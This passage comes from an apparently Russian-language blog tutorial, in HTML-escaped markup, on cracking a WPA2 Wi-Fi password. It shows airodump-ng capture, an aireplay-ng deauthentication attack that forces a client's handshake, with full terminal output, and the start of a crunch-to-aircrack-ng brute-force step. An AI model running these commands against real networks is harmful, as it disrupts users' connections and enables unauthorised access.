&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;/b&gt;&amp;nbsp;:указываем что&amp;nbsp;&lt;b&gt;airodump-ng&lt;/b&gt;&amp;nbsp;должен слушать 6-ой канал&lt;/li&gt;
&lt;li&gt;&lt;b&gt;--bssid &lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;91&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;7E&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C9&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C7&lt;/b&gt;&amp;nbsp;:указываем что&amp;nbsp;&lt;b&gt;airodump-ng&lt;/b&gt;&amp;nbsp;должен принимать трафик, предназначенный для Access Point с маком&amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;91&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;7E&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C9&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C7&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;mon0&lt;/b&gt;&amp;nbsp;:указываем, что&amp;nbsp;&lt;b&gt;airodump-ng&lt;/b&gt;&amp;nbsp;должен использовать интерфейс&amp;nbsp;&lt;b&gt;mon0&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;b&gt;&lt;pre style=&quot;display: inline !important; font-weight: normal;&quot;&gt;&lt;b style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-w&lt;/span&gt; &lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/target-wifi&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/b&gt;&amp;nbsp;&lt;span style=&quot;font-weight: normal;&quot;&gt;:указываем, что&amp;nbsp;&lt;/span&gt;&lt;b&gt;airodump-ng&lt;/b&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&amp;nbsp;должен записывать свои файлы в текущую директорию по маске&lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;b&gt;&lt;b&gt;&lt;pre style=&quot;display: inline !important; font-weight: normal;&quot;&gt;&lt;b style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;target-wifi&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/b&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;airodump-ng &lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt; --bssid &lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;91&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;7E&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C9&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C7 mon0 &lt;span style=&quot;color: #44aadd;&quot;&gt;-w&lt;/span&gt; &lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/target-wifi&lt;/span&gt;
&lt;/b&gt;
 CH  &lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt; ]&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; Elapsed: 12 s &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; 2012&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;09&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;23 11:09&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;00:21:91:7E:C9:C7  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;31 100      125       26    2   6  54 . WPA2 TKIP   PSK  home&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;privat&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;BSSID              STATION            PWR   Rate    Lost  Packets  Probes&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&lt;b&gt;00:21:91:7E:C9:C7&lt;/b&gt;  &lt;b&gt;D4:20:6D:09:96:36&lt;/b&gt;  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;60   24 &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; 1     55       39&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
# &lt;b&gt;Terminal 3&lt;/b&gt;&lt;br /&gt;
Настало время прикинуться клиентом и сказать AP, что клиент разрывает соединение, после чего AP закроет соединение со своей стороны. Соответственно разрыв соединения станет неожиданностью для клиентского устройства, оно сочтет этот разрыв простым сбоем и попытается подключиться снова послав&amp;nbsp;&lt;b style=&quot;font-family: Georgia, &#39;Times New Roman&#39;, serif; text-align: right;&quot;&gt;handshake&lt;/b&gt;&amp;nbsp;запрос, который будет перехвачен и записан в файл &lt;b&gt;home-privat-01.cap&lt;/b&gt; процессом, &amp;nbsp;который в данный момент выполняется в&amp;nbsp;&lt;b&gt;Terminal 2.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Для этого нам понадобятся BSSID(mac адрес AP) STATION(mac адрес клиента, подключенного к AP).&lt;br /&gt;
&lt;br /&gt;
Составим команду из известных нам данных:&lt;br /&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;&lt;b style=&quot;color: black;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;&lt;b style=&quot;color: black;&quot;&gt;&lt;pre style=&quot;display: inline !important; font-weight: normal;&quot;&gt;&lt;b style=&quot;background-color: white;&quot;&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;10&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: white; color: black; font-weight: normal;&quot;&gt;:указываем&amp;nbsp;количество посылаемых сообщений о разрыве&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-a&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;91&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;7E&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C9&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C7 &lt;/b&gt;:указываем BSSID&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;b&gt;&lt;pre style=&quot;display: inline !important; font-weight: normal;&quot;&gt;&lt;b style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; D4&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;6D&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;09&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;96&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;36&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/b&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;:указываем&amp;nbsp;STATION&lt;/li&gt;
&lt;li&gt;&lt;b&gt;mon0&lt;/b&gt;&amp;nbsp;:указываем интерфейс&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;aireplay-ng -&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;10&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-a&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;91&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;7E&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C9&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C7 &lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; D4&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;6D&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;09&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;96&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;36&lt;/span&gt; mon0
&lt;/b&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;58&lt;/span&gt;  Waiting &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; beacon frame &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;BSSID&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;91&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;7E&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C9&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C7&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; on channel &lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;59&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;42|64 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;59&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;49|66 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;18|64 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;30|66 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; ACKs]
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;71|65 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;21|63 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;67|65 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;03&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;20|66 ACKs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 &lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;03&lt;/span&gt;  Sending &lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; directed DeAuth&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; STMAC&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;D4:20:6D:09:96:36&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;64&lt;/span&gt; ACKs]
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Если вы получили сообщение следующего содержания, то вам следует&amp;nbsp;пересобрать&amp;nbsp;compat-wireless для вашей системы, как это написано &lt;a href=&quot;http://sc0rp1us.blogspot.com/2012/07/compat-wireless-debianubuntu.html&quot;&gt;тут&lt;/a&gt;.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background-color: #f1f0f0; background-position: initial initial; background-repeat: initial initial;&quot;&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;06&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;34&lt;/span&gt;  Waiting &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; beacon frame &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;BSSID&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;91&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;7E&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C9&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;C7&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; on channel -&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;
&lt;span style=&quot;color: #c00000;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;06&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;34&lt;/span&gt;  mon0 is on channel -&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;, but the AP uses channel &lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
# &lt;b&gt;Brute-force&lt;/b&gt;&lt;br /&gt;
Как было написано выше, для перебора паролей мы будем использовать программу &lt;b&gt;crunch (&lt;/b&gt;мы её установили в начале статьи).&lt;br /&gt;
Давайте рассмотрим параметры запуска:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/pentest/passwords/crunch/crunch&lt;/span&gt;&amp;nbsp;:Указываем путь до самого Crunch&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;8&lt;/span&gt;&amp;nbsp;:Указываем диапазон длинны пароля от 1-го до 8им символов&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-f&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/pentest/passwords/crunch/charset.lst&amp;nbsp;&lt;/span&gt;: Читаем файл в котором описаны возможные списки символов для составления паролей(загляните в него, чтобы выбрать нужный)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;lalpha&amp;nbsp;:Указываем, что мы будем перебирать пароли только из букв в нижнем регистре&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; aircrack-ng :Передаем список паролей программе&amp;nbsp;aircrack-ng&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
